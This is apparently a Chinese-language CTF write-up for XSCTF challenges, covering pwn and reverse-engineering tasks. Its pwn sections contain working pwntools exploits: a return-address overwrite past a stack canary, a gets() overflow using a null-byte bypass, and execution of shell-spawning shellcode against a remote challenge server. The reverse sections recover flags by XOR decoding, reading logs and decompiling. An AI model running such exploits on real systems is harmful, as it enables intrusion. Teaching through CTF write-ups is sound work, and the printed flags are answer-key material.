c_master

请使用简单的C语句对程序进行getshell吧!

1
2
3
4
5
6
Try to write a C getshell program with my code!
read(0,base,0x8);
write(1,base,0x8);
base+=8;
base-=8;
return 0;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-1Ch]
void *s; // [rsp+8h] [rbp-18h]
char v6[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v7; // [rsp+18h] [rbp-8h]

v7 = __readfsqword(0x28u);
init(argc, argv, envp);
v4 = 0;
s = malloc(0x400uLL);
memset(s, 0, 1024uLL);
puts("Try to write a C getshell program with my code!");
puts("read(0,base,0x8);");
puts("write(1,base,0x8);");
puts("base+=8;");
puts("base-=8;");
puts("return 0;");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts(">>>");
__isoc99_scanf("%128s", s);
if ( strcmp((const char *)s, "read(0,base,0x8);") )
break;
puts("input:");
read(0, &v6[v4], 8uLL);
}
if ( strcmp((const char *)s, "write(1,base,0x8);") )
break;
puts("output:");
write(1, &v6[v4], 8uLL);
}
if ( strcmp((const char *)s, "base+=8;") )
break;
v4 += 8;
}
if ( strcmp((const char *)s, "base-=8;") )
break;
v4 -= 8;
}
if ( strcmp((const char *)s, "return 0;") )
break;
puts("No such code...");
}
return 0;
}

根据输入确定写入数据的地址,那么可以直接将位置定位到main函数的返回地址,写入程序中提供的backdoor函数
需要注意程序开了canary,所以要多往后走一次

Low Address
local var <- rsp
canary value <- rbp-8
old rbp <- rbp
return address
args
High Address

坑:直接返回到backdoor函数又不可以,需要返回到实际执行system函数的代码地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

p = remote("43.248.97.213", 30483)

p.recv()

p.sendline(b"base+=8;")
p.recv()
p.sendline(b"base+=8;")
p.recv()
p.sendline(b"base+=8;")
p.recv()
p.sendline(b"read(0,base,0x8);")
p.recv()
p.sendline(p64(0x4012c3))
p.recv()
p.sendline(b"return 0;")
p.interactive()

XSCTF{p1e4se_bec0me_4_c_m4ster_x5c7f}

rock_paper_scissors

欢迎来到石头剪刀布!
一共进行三十局,你赢了加一分,输了或平局不得分
获得十分就算胜利!
输入’石头’、’剪刀’或’布’来进行游戏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
char v5[28]; // [rsp+0h] [rbp-30h] BYREF
int v6; // [rsp+1Ch] [rbp-14h]
unsigned int RandomMove; // [rsp+20h] [rbp-10h]
unsigned int userout; // [rsp+24h] [rbp-Ch]
int v9; // [rsp+28h] [rbp-8h]
signed int v10; // [rsp+2Ch] [rbp-4h]

v10 = 0;
v9 = 0;
v3 = time(0LL);
srand(v3);
puts(&byte_402080);
puts(&byte_4020A0);
puts(&byte_4020E6);
puts(&byte_402108);
while ( v10 <= 9 && v9 <= 29 )
{
printf(&byte_402139);
fflush(stdout);
if ( v10 > 5 )
gets(v5);
__isoc99_scanf(&unk_402151, v5);
userout = stringToMove(v5);
if ( userout == -1 )
{
puts(&byte_402158);
}
else if ( v10 > 8 || v10 <= 5 || (int)hard() <= 2 )
{
if ( v10 == 9 && (unsigned int)hell() != 666 )
{
LABEL_10:
win(userout, v10);
}
else
{
RandomMove = getRandomMove();
printf(&format);
if ( RandomMove == 2 )
{
puts(&byte_402037);
}
else if ( RandomMove <= 2 )
{
if ( RandomMove )
puts(&byte_40203E);
else
puts(&s2);
}
v6 = determineWinner(userout, RandomMove);
if ( v6 == 1 )
{
puts(&byte_4021A7);
++v10;
}
else if ( v6 == -1 )
{
puts(&byte_402054);
}
else
{
puts(&byte_402073);
}
printf(&byte_402061, (unsigned int)v10);
++v9;
}
}
else
{
if ( (int)hard() <= 4 )
goto LABEL_10;
bewin(userout, v10);
}
}
final();
return 0;
}

其中final函数就是最终的shell,而gets函数存在漏洞,可以使用栈溢出将当前函数的返回地址覆盖为final函数的返回地址
但是传输的payload需要符合一定条件
因为程序对输入进行了检查,输入的字符串必须是石头剪刀布的一种
这种情况下可以用%00作为payload,即输入石头的编码后加上%00,这样程序在处理字符串时遇到%00就会认为已经到字符串末尾了,而实际的payload会全部传输到内存中

中文在C语言中使用utf-8编码,一个中文字符占用三个字节
在构造payload时要注意端序,例如“石头”的utf-8编码是E79FB3E5A4B4但是实际传输时是p64(0xe5b39fe7)+p64(0xb4a4)

exp

1
2
3
4
5
6
7
8
9
from pwn import *

# p = process('./rock_paper_scissors')
p = remote('43.248.97.213', 30480)
# print(list(p64(0xe5b39fe7)+p64(0xb4a4)))

p.recv()
p.sendline(p64(0xe5b39fe7)+p64(0xb4a4)+b'a'*20+b'b'*8+p64(0x4012db))
p.interactive()

XSCTF{1bab71b8-117f-4dea-a047-340b72101d7b}

toolong

一个字节能解决的shellcode,就不要用两个字节!

程序两次接收用户输入,其中第二次应该输入shellcode,之后程序会将用户输入的shellcode直接执行,但是题目限制了输入shellcode的长度(24)

题目给的可执行文件反汇编失败,估计是将字符串地址作为函数地址直接调用导致的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
.text:000055A4CE79820E ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:000055A4CE79820E public main
.text:000055A4CE79820E main proc near ; DATA XREF: _start+18↑o
.text:000055A4CE79820E
.text:000055A4CE79820E s= byte ptr -150h
.text:000055A4CE79820E buf= byte ptr -50h
.text:000055A4CE79820E var_8= dword ptr -8
.text:000055A4CE79820E var_4= dword ptr -4
.text:000055A4CE79820E
.text:000055A4CE79820E ; __unwind { // 55A4CE797000
.text:000055A4CE79820E endbr64
.text:000055A4CE798212 push rbp
.text:000055A4CE798213 mov rbp, rsp
.text:000055A4CE798216 sub rsp, 150h
.text:000055A4CE79821D mov eax, 0
.text:000055A4CE798222 call init
.text:000055A4CE798227 mov [rbp+var_8], 1
.text:000055A4CE79822E lea rax, s ; "Welcome to XSCTF"
.text:000055A4CE798235 mov rdi, rax ; s
.text:000055A4CE798238 call _puts
.text:000055A4CE79823D lea rax, [rbp+buf]
.text:000055A4CE798241 mov edx, 81 ; nbytes
.text:000055A4CE798246 mov rsi, rax ; buf
.text:000055A4CE798249 mov edi, 0 ; fd
.text:000055A4CE79824E call _read
.text:000055A4CE798253 lea rax, aInputYourMagic ; "input your magic code:"
.text:000055A4CE79825A mov rdi, rax ; s
.text:000055A4CE79825D call _puts
.text:000055A4CE798262 lea rax, [rbp+s]
.text:000055A4CE798269 mov edx, 256 ; nbytes
.text:000055A4CE79826E mov rsi, rax ; buf
.text:000055A4CE798271 mov edi, 0 ; fd
.text:000055A4CE798276 call _read
.text:000055A4CE79827B mov [rbp+var_4], eax
.text:000055A4CE79827E cmp [rbp+var_4], 0
.text:000055A4CE798282 jg short loc_55A4CE79828B
.text:000055A4CE798284 mov eax, 0
.text:000055A4CE798289 jmp short locret_55A4CE7982DE
.text:000055A4CE79828B ; ---------------------------------------------------------------------------
.text:000055A4CE79828B
.text:000055A4CE79828B loc_55A4CE79828B: ; CODE XREF: main+74↑j
.text:000055A4CE79828B lea rax, [rbp+s]
.text:000055A4CE798292 mov rdi, rax ; s
.text:000055A4CE798295 call _strlen
.text:000055A4CE79829A mov edx, [rbp+var_8]
.text:000055A4CE79829D movsxd rdx, edx
.text:000055A4CE7982A0 cmp rax, rdx
.text:000055A4CE7982A3 ja short loc_55A4CE7982BA
.text:000055A4CE7982A5 lea rax, [rbp+s]
.text:000055A4CE7982AC mov rdi, rax ; s
.text:000055A4CE7982AF call _strlen
.text:000055A4CE7982B4 cmp rax, 24
.text:000055A4CE7982B8 jbe short loc_55A4CE7982D0
.text:000055A4CE7982BA
.text:000055A4CE7982BA loc_55A4CE7982BA: ; CODE XREF: main+95↑j
.text:000055A4CE7982BA lea rax, aTooLong ; "too long!"
.text:000055A4CE7982C1 mov rdi, rax ; s
.text:000055A4CE7982C4 call _puts
.text:000055A4CE7982C9 mov eax, 0
.text:000055A4CE7982CE jmp short locret_55A4CE7982DE
.text:000055A4CE7982D0 ; ---------------------------------------------------------------------------
.text:000055A4CE7982D0
.text:000055A4CE7982D0 loc_55A4CE7982D0: ; CODE XREF: main+AA↑j
.text:000055A4CE7982D0 lea rax, [rbp+s]
.text:000055A4CE7982D7 call rax
.text:000055A4CE7982D9 mov eax, 0
.text:000055A4CE7982DE
.text:000055A4CE7982DE locret_55A4CE7982DE: ; CODE XREF: main+7B↑j
.text:000055A4CE7982DE ; main+C0↑j
.text:000055A4CE7982DE leave
.text:000055A4CE7982DF retn
.text:000055A4CE7982DF ; } // starts at 55A4CE79820E
.text:000055A4CE7982DF main endp

值得注意的点是程序接收了两次用户输入
而在接收了两次输入之后程序会对输入进行两次检查

  1. 在调用read函数之后,程序使用strlen函数将输入的长度存储在rax中,接着程序会将rax与栈上的一个值进行比较,如果rax大于该值就不会执行shellcode
  2. 第二次是与一个固定值(24)比较,如果大于这个值就不会执行shellcode

其中第一次栈上的值其实可以通过第一次的输入修改,这样就可以绕过这次比较
而第二次的比较需要在写入的payload中使用%00作为分隔符,分开正常输入和shellcode

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

#p = process('./toolong')
p = remote("43.248.97.213", 30510)

p.recv()
p.sendline(b'z'*80)
p.recv()

context(arch='amd64', os='linux')
shellcode = asm(shellcraft.sh()) + b'\x00'

p.sendline(p64(0x1234)+shellcode)
p.interactive()

XSCTF{qy_7t11_y0u_th4t_y0ur_p4yl0ad_15_to0_lon9}

Lets_go_to_xor

只是一个超级Eazzzzzzzzzzy的Go程序,Let's Go!

使用golang编写编译的可执行文件
其主函数在main.main

进入main.main找到main.decode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __usercall main_decode@<rax>()
{
__int64 v0; // rax
unsigned __int64 v1; // rbx
unsigned __int64 i; // [rsp+12h] [rbp-30h]

if ( v1 != qword_C86F18 )
return 0LL;
for ( i = 0LL; (__int64)v1 > (__int64)i; ++i )
{
if ( i >= v1 )
runtime_panicIndex();
if ( (unsigned __int64)((__int64)i % 10) >= 0xA )
runtime_panicIndex();
if ( i >= v1 )
runtime_panicIndex();
*(_BYTE *)(v0 + i) = aIL0veCtf[(__int64)i % 10] ^ *(_BYTE *)(i + v0);
if ( i >= v1 )
runtime_panicIndex();
if ( qword_C86F18 <= i )
runtime_panicIndex();
if ( *((_BYTE *)main_enc + i) != *(_BYTE *)(i + v0) )
return 0LL;
}
return 1LL;
}

虽然和C语言不太一样,但是还是可以勉强看出来逻辑,大概就是下面这个意思

1
2
3
4
5
for ( i = 0LL; (__int64)v1 > (__int64)i; ++i )
*(_BYTE *)(v0 + i) = aIL0veCtf[(__int64)i % 10] ^ *(_BYTE *)(i + v0);
if ( *((_BYTE *)main_enc + i) != *(_BYTE *)(i + v0) )
return 0LL;
}

找到main_encaIL0veCtf,提取数据,将main_encaIL0veCtf循环异或就可以得到flag

exp

1
2
3
4
5
key = 'i_l0ve_CtF'
s = [0x0F, 0x33, 0x0D, 0x57, 0x0D, 0x3D, 0x0C, 0x14, 0x38, 0x0E, 0x21, 0x17, 0x33, 0x01, 0x05, 0x3A, 0x0F, 0x34, 0x1A, 0x19, 0x24, 0x6B, 0x1F, 0x64, 0x13, 0x17, 0x22]

for i in range(len(s)):
print(chr((s[i]^ord(key[i%10]))&0xff), end='')

flag{XSWLHHH_1s_Pwn_M4sTer}

loglistening

题目下发一个安装包
jadx打开看到如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package com.example.loglistening;

import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import com.example.loglistening.databinding.ActivityMainBinding;

public class MainActivity extends AppCompatActivity {
private ActivityMainBinding binding;

public native void fasheng();

static {
System.loadLibrary("loglistening");
}

/* access modifiers changed from: protected */
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater());
this.binding = inflate;
setContentView((View) inflate.getRoot());
((Button) findViewById(C0587R.C0590id.button1)).setOnClickListener(new OnClickListener() {
public void onClick(View view) {
System.out.println("好像有什么事情在native层发生了!");
MainActivity.this.fasheng();
Toast.makeText(MainActivity.this.getApplicationContext(), "flag已经生成了!", 0).show();
}
});
}
}

是通过native层的代码生成的flag
找到so文件扔进ida,找到flag的生成代码

1
2
3
4
5
6
7
8
9
10
unsigned __int64 Java_com_example_loglistening_MainActivity_fasheng()
{
char v1[40]; // [rsp+0h] [rbp-38h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-10h]

v2 = __readfsqword(0x28u);
md5("stardustduststar", v1);
__android_log_print(4LL, "xilo", "flag{%s}", v1);
return __readfsqword(0x28u);
}

按道理说把字符串md5之后就可以得到flag了,但是失败了

看到log字样,直接查日志

  • 模拟器开启开发者选项
  • adb devices确认连接成功
  • 输入adb logcat -v time>D:log.txt开始抓取日志,期间打开软件点击按钮生成flag
  • 然后返回命令行Ctrl+C完成抓取
  • 找到log.txt查看日志(虽然命令写的在D盘,但是实际上是在当前目录)

flag{4724110e8c8a83c123d6df82efee8c53}

picchange

输入数字即可得到flag哦

一开始想的是直接扔进ida反编译然后看对图像的加密逻辑,也就是下面的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
void __fastcall sub_7FF6B8023C20(const char *a1, __int64 a2)
{
FILE *Stream; // [rsp+28h] [rbp+8h]
FILE *Streama; // [rsp+28h] [rbp+8h]
int v4; // [rsp+44h] [rbp+24h]
void *Buffer; // [rsp+68h] [rbp+48h]
int i; // [rsp+84h] [rbp+64h]

sub_7FF6B80213C0(&unk_7FF6B8036017);
Stream = fopen(a1, "rb");
if ( Stream )
{
fseek(Stream, 0, 2);
v4 = ftell(Stream);
fseek(Stream, 0, 0);
Buffer = malloc(v4);
if ( Buffer )
{
fread(Buffer, 1ui64, v4, Stream);
fclose(Stream);
for ( i = 0; i < v4; ++i )
*((_BYTE *)Buffer + i) ^= strtol((const char *)(i % 32 + a2), 0i64, 16);
Streama = fopen("picc_xor.png", "wb");
if ( Streama )
{
fwrite(Buffer, 1ui64, v4, Streama);
fclose(Streama);
free(Buffer);
sub_7FF6B80211CC(&unk_7FF6B802CFB8);
}
else
{
perror(&byte_7FF6B802CFA8);
free(Buffer);
}
}
else
{
perror(&byte_7FF6B802CF80);
fclose(Stream);
}
}
else
{
perror(&ErrMsg);
}
}

可以看到是对图像文件的每一个字节都进行了异或运算,但是异或的对象是不确定的
在交叉引用到最原始的变量以及动态调试之后得出结论:使用的是输入的三位数字的md5值作为key,对图像文件进行循环异或的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Stack[00001C64]:0000003589DCF5A8 db  32h ; 2
Stack[00001C64]:0000003589DCF5A9 db 30h ; 0
Stack[00001C64]:0000003589DCF5AA db 32h ; 2
Stack[00001C64]:0000003589DCF5AB db 63h ; c
Stack[00001C64]:0000003589DCF5AC db 62h ; b
Stack[00001C64]:0000003589DCF5AD db 39h ; 9
Stack[00001C64]:0000003589DCF5AE db 36h ; 6
Stack[00001C64]:0000003589DCF5AF db 32h ; 2
Stack[00001C64]:0000003589DCF5B0 db 61h ; a
Stack[00001C64]:0000003589DCF5B1 db 63h ; c
Stack[00001C64]:0000003589DCF5B2 db 35h ; 5
Stack[00001C64]:0000003589DCF5B3 db 39h ; 9
Stack[00001C64]:0000003589DCF5B4 db 30h ; 0
Stack[00001C64]:0000003589DCF5B5 db 37h ; 7
Stack[00001C64]:0000003589DCF5B6 db 35h ; 5
Stack[00001C64]:0000003589DCF5B7 db 62h ; b
Stack[00001C64]:0000003589DCF5B8 db 39h ; 9
Stack[00001C64]:0000003589DCF5B9 db 36h ; 6
Stack[00001C64]:0000003589DCF5BA db 34h ; 4
Stack[00001C64]:0000003589DCF5BB db 62h ; b
Stack[00001C64]:0000003589DCF5BC db 30h ; 0
Stack[00001C64]:0000003589DCF5BD db 37h ; 7
Stack[00001C64]:0000003589DCF5BE db 31h ; 1
Stack[00001C64]:0000003589DCF5BF db 35h ; 5
Stack[00001C64]:0000003589DCF5C0 db 32h ; 2
Stack[00001C64]:0000003589DCF5C1 db 64h ; d
Stack[00001C64]:0000003589DCF5C2 db 32h ; 2
Stack[00001C64]:0000003589DCF5C3 db 33h ; 3
Stack[00001C64]:0000003589DCF5C4 db 34h ; 4
Stack[00001C64]:0000003589DCF5C5 db 62h ; b
Stack[00001C64]:0000003589DCF5C6 db 37h ; 7
Stack[00001C64]:0000003589DCF5C7 db 30h ; 0

这段数据就是输入的测试数据123对应的md5值,而为了解密图像,输入的key需要满足一定条件

1
2
请输入你的key: 123
MD5 的前三位数字与 key的本身值 不相等。注:数字范围为0--9

这里需要注意的主要是数字范围为0--9指的是输入的key还是md5的值,还是两者皆是
答案是只有输入的key,因为作为循环异或的对象长度应该是一定的,而如果转换为十进制的话原本的md5编码的长度可能会变化,这一点也可以在先前对图像加密的代码中得出

1
*((_BYTE *)Buffer + i) ^= strtol((const char *)(i % 32 + a2), 0i64, 16);

可以看到也是以32为周期的

所以现在的问题就是找到某三位数字,其md5的值的前三位与原本的值是相等的

生成正确的key

1
2
3
4
5
6
7
8
9
10
11
import hashlib
m = hashlib.md5()

for i in range(0,10):
for j in range(0, 10):
for k in range(0, 10):
num = f"{i*100+j*10+k:03d}"
c = hashlib.md5(num.encode('utf8')).hexdigest()
print(num, str(c)[0:3])
if str(num) == str(c)[0:3]:
print(num)

这里有个坑,使用python实现md5编码还有一种先update再hexdigest的方法,那种方法在这里是行不通的
320
然后将key作为输入就可以得到解密后的图片了

flag{pic_pic_is_so_easy!}

Ro1ling~

题目描述

  1. flag is rolling ~ flag is flying ~
  2. press q to quit
  3. tips: The flag format is XSCTF\{[ -~]+\}

运行程序,会出现弹幕一样飘过的文字
但是,在中止运行时出现了这样的报错

1
2
3
4
5
6
Traceback (most recent call last):
File "Ro1ling.py", line 97, in <module>
File "curses\__init__.py", line 94, in wrapper
File "Ro1ling.py", line 94, in main
KeyboardInterrupt
[21964] Failed to execute script 'Ro1ling' due to unhandled exception!

熟悉的Traceback,一眼就能看出来是python

所以这是一个使用python编写并打包的exe文件
能打包python的工具主要有pyinstaller等,这里使用对应的pyinstxtractor反编译

1
python pyinstxtractor.py Ro1ling.exe

运行以上命令之后就会在当前目录下生成一个文件夹,其中有同名的pyc文件
使用uncompyle6将pyc文件转换为py文件
但是报错了
使用在线网站的结果也是不完整的

上网查询之后找到这么一篇博客
python逆向实战:反编译python3 pyc文件 - 乘舟凉 - 博客园 (cnblogs.com)

里边有手动提取opcode的示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import code

from uncompyle6.main import decompile
import sys
# version = (3, 8, 0)
import dis

def get_sub_codeObject_list(co):
return [ins for ins in list(dis.Bytecode(co)) if "code object" in str(ins.argval)]

outstream = sys.stdout
showasm = None
showast = False
showgrammar = False
source_encoding = None
mapstream = None
do_fragments = False

from xdis import load_module
filename = "Ro1ling.pyc"
code_objects = {}
(version, timestamp, magic_int, co, is_pypy, source_size, sip_hash) = load_module(
filename, code_objects
)

def decompile_part(co,father_name=None,outstream=sys.stdout):
try:
if father_name is not None:
name = "%s.%s" % (father_name,co.co_name)
else:
name = co.co_name
outstream.write("\n# %s ____________________________________________\n" % name)
decompile(
version,
co,
outstream,
None,
False,
timestamp,
False,
None,
code_objects={},
source_size=source_size,
is_pypy=False,
magic_int=magic_int,
mapstream=None,
do_fragments=False,
)
except:
bytecode = get_sub_codeObject_list(co)
for code in bytecode:
co = code.argval
decompile_part(co,name,outstream)
decompile_part(co)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import dis
import marshal
import sys
import io

sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8') #改变标准输出的默认编码

if len(sys.argv) == 2:
filename = sys.argv[1]
with open(filename,"rb") as fp:
byteCode = fp.read()[16:]

co = marshal.loads(byteCode)
dis.dis(co)

先运行第一份代码,再运行第二份代码,就可以得到opcode的输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 28          72 BUILD_LIST               0
74 LOAD_CONST 6 (('Summer in the hills', 'Those hazy days I do remember', 'We were running still', 'Had the whole world at our feet', 'Watching seasons change', 'Our roads were lined with adventure', 'Mountains in the way', "Couldn't keep us from the sea", 'Here we stand open arms', 'This is home where we are', 'Ever strong in the world that we made', 'I still hear you in the breeze', 'See your shadows in the trees', 'Holding on, memories never change'))
76 CALL_FINALLY 1 (to 79)
78 STORE_DEREF 2 (phrases)

29 80 LOAD_CONST 7 ('𝙓𝙎𝘾𝙏𝙁{𝙁0𝙧_0𝙣𝙘3_𝙮0𝙪_𝙝4𝙫3_7𝙖57𝙚𝙙_𝙛𝙡𝙞𝙜 𝙝𝙩_𝙮0𝙪_𝙬1𝙡𝙡_�
44𝙡𝙠_7𝙝3_3𝙖𝙧7𝙝_𝙬17𝙝_𝙮0𝙪𝙧_3𝙮35_7𝙪𝙧𝙣3𝙙_5𝙠𝙮𝙬4𝙧𝙙5}')
82 STORE_DEREF 3 (secret_message)

46 84 LOAD_DEREF 4 (stdscr)
>> 86 LOAD_METHOD 7 (nodelay)
88 LOAD_CONST 8 (True)
90 CALL_METHOD 1
92 POP_TOP

其中因为命令行的编码原因这里的flag其实是乱码(因此我还分析了一下opcode有没有加密的过程,事实证明没有)
但是opcode转换为py代码的方式没有找到

在复制到其他文本编辑器之后就可以看到flag了(要手打,因为格式写了只支持ascii编码的字符,这里是unicode)

XSCTF{F0r_0nc3_y0u_h4v3_7a57ed_flight_y0u_w1ll_w4lk_7h3_3ar7h_w17h_y0ur_3y35_7urn3d_5kyw4rd5}
这flag真长啊

Running~

一个没有后缀的文件,内容是js代码

1
var _0x21b6c9=_0xe50d;function _0xe50d(_0x483c4e,_0x3bb3e1){var _0x1173b4=_0x1173();return _0xe50d=function(_0xe50d90,_0x1a4c11){_0xe50d90=_0xe50d90-0x105;var _0x33ff31=_0x1173b4[_0xe50d90];return _0x33ff31;},_0xe50d(_0x483c4e,_0x3bb3e1);}function _0x1173(){var _0x2badaa=['920aGutvi','517wlRFdu','221112hjXCvb','169436bqkkfr','8dhAXCJ','12838203EfwKcG','log','CgogX18gICBfXyAgIF9fX19fICAgIF9fX19fICAgX19fX19fXyAgIF9fX19fXyAgICAgX18gICAgICAgICAgICAgICAgICAgICAgICAgICAgICBfX19fXyAgICAgICAgICAgXyAgIF8gICAgIF8gICAgICAgICAgIF8gICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgICAgICBfXyAgICAgICAgICAgICAgICAgIF8gIF8gICAgIF8gICAgIF8gICAgX19fICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgX18gICAgICAgICAgICAgX19fXyAgICBfICAgICAgICBfXyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXyAgICAgXyAgICAgICAgICAgICAgICAgIF9fICAgCiBcIFwgLyAvICAvIF9fX198ICAvIF9fX198IHxfXyAgIF9ffCB8ICBfX19ffCAgIC8gLyAgICAgL1wgICAgICAgICAgICAgICAgICAgICAgfF8gICBffCAgICAgICAgIChfKSB8IHwgICAoXykgICAgICAgICB8IHwgICAgICAgICAgfCAgX19fX3wgICAgICAgICAgICAgICAgL18gfCAgICAgICAgICAgICAgICB8IHx8IHwgICB8IHwgICAoXykgIC8gXyBcICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8gX3wgICAgICAgICAgIC8gX18gXCAgfCB8ICAgICAgLyBffCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwgfCAgIChfKSAgICAgICAgICAgICAgICAgXCBcICAKICBcIFYgLyAgfCAoX19fICAgfCB8ICAgICAgICAgfCB8ICAgIHwgfF9fICAgICB8IHwgICAgIC8gIFwgICAgIF8gX18gICAgICAgICAgICAgIHwgfCAgICBfIF9fICAgIF8gIHwgfF8gICBfICAgIF9fIF8gIHwgfCAgICAgICAgICB8IHxfXyAgICBfXyAgX18gIF8gX18gICAgfCB8ICAgX19fICAgIF8gX18gIHwgfHwgfF8gIHwgfF8gICBfICB8IHwgfCB8ICBfIF9fICAgICAgICAgICAgICBfX18gICB8IHxfICAgICAgICAgICB8IHwgIHwgfCB8IHxfXyAgIHwgfF8gICBfICAgXyAgIF9fXyAgICBfX18gICAgX18gXyAgfCB8XyAgIF8gICAgX19fICAgIF8gX18gICAgfCB8IAogICA+IDwgICAgXF9fXyBcICB8IHwgICAgICAgICB8IHwgICAgfCAgX198ICAgLyAvICAgICAvIC9cIFwgICB8ICdfIFwgICAgICAgICAgICAgfCB8ICAgfCAnXyBcICB8IHwgfCBfX3wgfCB8ICAvIF9gIHwgfCB8ICAgICAgICAgIHwgIF9ffCAgIFwgXC8gLyB8ICdfIFwgICB8IHwgIC8gXyBcICB8ICdfX3wgfF9fICAgX3wgfCBfX3wgfCB8IHwgfCB8IHwgfCAnXyBcICAgICAgICAgICAgLyBfIFwgIHwgIF98ICAgICAgICAgIHwgfCAgfCB8IHwgJ18gXCAgfCAgX3wgfCB8IHwgfCAvIF9ffCAgLyBfX3wgIC8gX2AgfCB8IF9ffCB8IHwgIC8gXyBcICB8ICdfIFwgICAgXCBcCiAgLyAuIFwgICBfX19fKSB8IHwgfF9fX18gICAgIHwgfCAgICB8IHwgICAgICBcIFwgICAgLyBfX19fIFwgIHwgfCB8IHwgICAgICAgICAgIF98IHxfICB8IHwgfCB8IHwgfCB8IHxfICB8IHwgfCAoX3wgfCB8IHwgICAgICAgICAgfCB8X19fXyAgID4gIDwgIHwgfF8pIHwgIHwgfCB8IChfKSB8IHwgfCAgICAgICB8IHwgICB8IHxfICB8IHwgfCB8X3wgfCB8IHwgfCB8ICAgICAgICAgIHwgKF8pIHwgfCB8ICAgICAgICAgICAgfCB8X198IHwgfCB8XykgfCB8IHwgICB8IHxffCB8IFxfXyBcIHwgKF9fICB8IChffCB8IHwgfF8gIHwgfCB8IChfKSB8IHwgfCB8IHwgICAvIC8KIC9fLyBcX1wgfF9fX19fLyAgIFxfX19fX3wgICAgfF98ICAgIHxffCAgICAgICB8IHwgIC9fLyAgICBcX1wgfF98IHxffCAgICAgICAgICB8X19fX198IHxffCB8X3wgfF98ICBcX198IHxffCAgXF9fLF98IHxffCAgICAgICAgICB8X19fX19ffCAvXy9cX1wgfCAuX18vICAgfF98ICBcX19fLyAgfF98ICAgICAgIHxffCAgICBcX198IHxffCAgXF9fXy8gIHxffCB8X3wgICAgICAgICAgIFxfX18vICB8X3wgICAgICAgICAgICAgXF9fX18vICB8Xy5fXy8gIHxffCAgICBcX18sX3wgfF9fXy8gIFxfX198ICBcX18sX3wgIFxfX3wgfF98ICBcX19fLyAgfF98IHxffCAgfCB8IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcX1wgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgICAgICB8IHwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgX19fX19fICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC9fLyAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfF9fX19fX3wgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfF9fX19fX3wgICAgICAgICAgICAgICAgIHxffCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxfX19fX198ICAgICAgICAgICAgICAgfF9fX19fX3wgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKCg==','3076824IERKkW','6626otVnDv','4488330eyQBas','7196435AHLNnm'];_0x1173=function(){return _0x2badaa;};return _0x1173();}(function(_0x3fa77a,_0x506be4){var _0x324ad3=_0xe50d,_0x1b9807=_0x3fa77a();while(!![]){try{var 